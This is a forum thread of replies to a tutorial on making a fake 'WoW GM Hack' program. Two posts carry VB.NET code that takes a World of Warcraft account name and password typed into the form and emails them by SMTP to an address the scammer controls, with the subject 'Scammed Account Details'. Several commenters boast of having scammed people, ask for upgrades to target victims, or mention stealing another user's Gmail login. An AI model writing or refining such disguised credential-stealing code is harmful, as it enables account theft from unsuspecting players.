awsome i was looking for a guide like this
your code will display error messages if the boxes aren't filled in but it still sends the email >_<
Red and bolded for emphasis.Code:Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("The account field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack") Exit Sub End If If TextBox2.Text = "" Then MsgBox("The password field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack") Exit Sub End If Dim mail As New System.Net.Mail.MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("Blank", "Blank") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True mail.To.Add("Blank") mail.From = New MailAddress("Blank") mail.Subject = "Blank" mail.Body = "Blank" SmtpServer.Send(mail) End Sub End Class
Thanks man, epic post. Can make personalized ones now![]()
Gr8 guide i helped me alot.. +rep![]()
Exit Sub is better coding practise, though. Save Return for Functions.
Better option than the original code which was presented. This contains no password. Not entirely sure why I am helping scammers.Code:Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("The account field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack") Exit Sub End If If TextBox2.Text = "" Then MsgBox("The password field is not filled in!", MsgBoxStyle.OkOnly, "WoW GM Hack") Exit Sub End If Dim mContent As New System.Net.Mail.MailMessage() Dim smtp As New SmtpClient("aspmx5.googlemail.com") mContent.To.Add("gmailaddressyouowninhere") mContent.From = New MailAddress("[email protected]") mContent.Subject = "Scammed Account Details" mContent.Body = "Account: " & TextBox1.Text & vbNewLine & "Password: " & TextBox2.Text smtp.Send(mContent) End Sub End Class
Great tutorial, already scammed some people, but i can't keep the accounts because i don't know how to when you only get to know their account name and password (ofc you can add more :P) A great thing to add would be a combo box which the victim have to tell if it's a Eu or US account. I'll rep if i can, but i don't think i can since i'm a leacher (greatest status ever!)
Thanks, JetLagJed! I have some trouble though, so would you mind helping me?
Works like a charm, just not sure if I'm gonna use it to get acc :P
hahaaa lol.... ive used reflector on some youtube programs... aaand... ive taken UR gmail account to mine dude xD sry@Jat
im having some kind of a SMTp problem. can someone help me plz